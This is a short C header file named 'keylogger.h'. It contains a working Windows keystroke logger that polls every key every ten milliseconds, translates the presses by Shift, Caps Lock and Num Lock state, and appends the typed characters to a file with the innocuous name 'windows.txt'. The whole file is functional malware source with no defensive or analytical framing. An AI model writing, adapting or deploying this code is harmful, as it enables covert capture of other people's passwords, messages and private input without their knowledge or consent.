keylogger.h

DWORD WINAPI logg(){
	int vkey,last_key_state[0xFF];
	int isCAPSLOCK,isNUMLOCK;
	int isL_SHIFT,isR_SHIFT;
	int isPressed;
	char showKey;
	char NUMCHAR[]=")!@#$%^&*(";
	char chars_vn[]=";=,-./`";
	char chars_vs[]=":+<_>?~";
	char chars_va[]="[\\]\';";
	char chars_vb[]="{|}\"";
	FILE *kh;
	char KEY_LOG_FILE[]="windows.txt";
	//: making last key state 0
	for(vkey=0;vkey<0xFF;vkey++){
		last_key_state[vkey]=0;
	}

	//: running infinite
	while(1){
		//: take rest for 10 millisecond
		Sleep(10);

		//: get key state of CAPSLOCK,NUMLOCK
		//: and LEFT_SHIFT/RIGHT_SHIFT
		isCAPSLOCK=(GetKeyState(0x14)&0xFF)>0?1:0;
		isNUMLOCK=(GetKeyState(0x90)&0xFF)>0?1:0;
		isL_SHIFT=(GetKeyState(0xA0)&0xFF00)>0?1:0;
		isR_SHIFT=(GetKeyState(0xA1)&0xFF00)>0?1:0;

		//: cheking state of all virtual keys
		for(vkey=0;vkey<0xFF;vkey++){
			isPressed=(GetKeyState(vkey)&0xFF00)>0?1:0;
			showKey=(char)vkey;
			if(isPressed==1 && last_key_state[vkey]==0){

				//: for alphabets
				if(vkey>=0x41 && vkey<=0x5A){
					if(isCAPSLOCK==0){
						if(isL_SHIFT==0 && isR_SHIFT==0){
							showKey=(char)(vkey+0x20);
						}
					}
					else if(isL_SHIFT==1 || isR_SHIFT==1){
						showKey=(char)(vkey+0x20);
					}
				}

				//: for num chars
				else if(vkey>=0x30 && vkey<=0x39){
					if(isL_SHIFT==1 || isR_SHIFT==1){
						showKey=NUMCHAR[vkey-0x30];
					}
				}

				//: for right side numpad
				else if(vkey>=0x60 && vkey<=0x69 && isNUMLOCK==1){
					showKey=(char)(vkey-0x30);
				}

				//: for printable chars
				else if(vkey>=0xBA && vkey<=0xC0){
					if(isL_SHIFT==1 || isR_SHIFT==1){
						showKey=chars_vs[vkey-0xBA];
					}
					else{
						showKey=chars_vn[vkey-0xBA];
					}
				}
				else if(vkey>=0xDB && vkey<=0xDF){
					if(isL_SHIFT==1 || isR_SHIFT==1){
						showKey=chars_vb[vkey-0xDB];
					}
					else{
						showKey=chars_va[vkey-0xDB];
					}
				}

				//: for right side chars ./*-+..
				//: for chars like space,\n,enter etc..
				//: for enter use newline char
				//: don't print other keys
				else if(vkey==0x0D){
					showKey=(char)0x0A;
				}
				else if(vkey>=0x6A && vkey<=0x6F){
					showKey=(char)(vkey-0x40);
				}
				else if(vkey!=0x20 && vkey!=0x09){
					showKey=(char)0x00;
				}

				//:print_and_save_captured_key
				if(showKey!=(char)0x00){
					kh=fopen(KEY_LOG_FILE,"a");
					putc(showKey,kh);
					fclose(kh);
				}
			}
			//: save last state of key
			last_key_state[vkey]=isPressed;
		}


	}//;end_of_while_loop
}//;end_of_main_function